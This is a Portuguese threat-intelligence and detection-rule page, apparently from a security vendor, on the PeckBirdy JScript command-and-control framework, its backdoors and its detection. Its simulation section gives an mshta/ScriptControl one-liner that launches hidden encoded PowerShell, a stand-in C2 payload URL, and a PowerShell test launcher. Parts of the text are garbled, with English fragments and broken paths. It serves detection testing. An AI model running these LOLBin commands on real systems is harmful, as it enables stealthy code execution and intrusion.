PeckBirdy: Um Framework de Script Versátil para Exploração de LOLBins Usado por Grupos de Ameaças Alinhados à China
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
PeckBirdy é uma estrutura de comando e controle baseada em JScript utilizada por atores APT alinhados à China para abusar de binários living-off-the-land e implantar backdoors modulares, incluindo HOLODONUT e MKDOOR. Foi projetada para executar em vários ambientes de execução—navegadores web, MSHTA, WScript, NodeJS e .NET—e suporta várias opções de transporte, como WebSocket, Flash, Comet e HTTP. A estrutura foi observada em campanhas rastreadas como SHADOW-VOID-044 e SHADOW-EARTH-045, que miraram recursos de jogos de azar online, portais governamentais asiáticos e uma organização do setor educacional.
Investigação
Pesquisadores relataram injeções de script malicioso em sites de jogos de azar comprometidos e páginas governamentais que puxavam o carregador PeckBirdy, que então recuperava as cargas subsequentes—mais notavelmente um exploit para Chrome (CVE-2020-16040) e componentes adicionais de backdoor. A atividade foi ligada a dois implantes modulares, HOLODONUT e MKDOOR, e conectada a grupos previamente observados e padrões de infraestrutura. A análise também catalogou indicadores de comprometimento, incluindo endereços IP, domínios e detalhes operacionais como o uso de certificados de assinatura de código roubados.
Mitigação
Bloqueie os domínios e endereços IP maliciosos identificados e monitore o uso atípico de LOLBin e execução de scripts via MSHTA, WScript e NodeJS. Detecte a criação do unique_id arquivo em %TEMP% e aplique validação rigorosa de certificados de assinatura de código. Cobertura para cargas conhecidas de Cobalt Strike e assemblies .NET gerados pelo Donut pode ainda mais reduzir a exposição.
Resposta
Se detectado, isole os sistemas afetados, colete o script injetado e quaisquer binários backdoor produzidos, e bloqueie a infraestrutura C2 associada. Realize triagem forense para movimentos laterais e atualize a lógica de detecção para os artefatos comuns observados na linha de comando e padrões de tráfego de rede.
Fluxo de Ataque
Detecções
LOLBAS WScript / CScript (via criação_de_processo)
Ver
Comportamento Suspeito de Evasão de Defesa LOLBAS MSHTA por Detecção de Comandos Associados (via criação_de_processo)
Ver
Modificação Suspeita de Exclusões do Defender via WMIC (via cmdline)
Ver
IOCs (HashSha1) para detectar: PeckBirdy: Um Framework de Script Versátil para Exploração de LOLBins Usado por Grupos de Ameaça Alinhados com a China
Ver
IOCs (SourceIP) para detectar: PeckBirdy: Um Framework de Script Versátil para Exploração de LOLBins Usado por Grupos de Ameaça Alinhados com a China
Ver
IOCs (DestinationIP) para detectar: PeckBirdy: Um Framework de Script Versátil para Exploração de LOLBins Usado por Grupos de Ameaça Alinhados com a China
Ver
Uso de MSHTA e ScriptControl para Execução PeckBirdy [Criação de Processo no Windows]
Ver
Detecção de Injeção de Script Malicioso PeckBirdy e Coleta de Credenciais [Servidor Web]
Ver
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria & Baseline deve ter sido aprovado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e o narrativo DEVEM refletir diretamente as TTPs identificadas e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
O adversário deseja estabelecer um canal de controle remoto usando o framework de script PeckBirdy. Eles escolhem script framework. They choosemshta.exeporque é um binário assinado do Windows que contorna a maioria das listas de permissões de aplicativos. O payload embutido é um ActiveXScriptControlobjeto para executar código JScript obtido de um servidor C2. Os passos são:- Baixar a carga maliciosa de JScript do C2 (ex.,
http://malicious.c2/payload.js). - Iniciar
mshta.execom umjavascript:URI que cria umScriptControlobjeto, carrega o script baixado e o executa. - O código JScript estabelece um ouvinte TCP reverso, completando a base.
A linha de comando exata que produz a telemetria é:
mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"Este comando contém
mshta.exee a stringScriptControl, satisfazendo a condição Sigma. - Baixar a carga maliciosa de JScript do C2 (ex.,
-
Script de Teste de Regressão:
O script abaixo automatiza a invocação maliciosa demshta. Ele pode ser executado em uma estação de teste sob uma conta administrativa.#------------------------------------------------- # Execução PeckBirdy via mshta + ScriptControl #------------------------------------------------- $c2Url = "http://malicious.c2/payload.js" $jsCode = @" var sc = new ActiveXObject('ScriptControl'); sc.Language = 'JScript'; // Simples beacon – substitua por carga real sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");'); "@ # Codifique a carga de JScript para evitar problemas de quebra de linha $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode)) $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)" Write-Host "[*] Iniciando mshta malicioso..." Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow -
Comandos de Limpeza:
Remova quaisquer artefatos criados pelo teste (ex., o arquivo temporário).#------------------------------------------------- # Limpeza após simulação PeckBirdy #------------------------------------------------- Write-Host "[*] Limpando artefatos de teste..." Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue # Pare quaisquer processos mshta remanescentes iniciados pelo teste Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force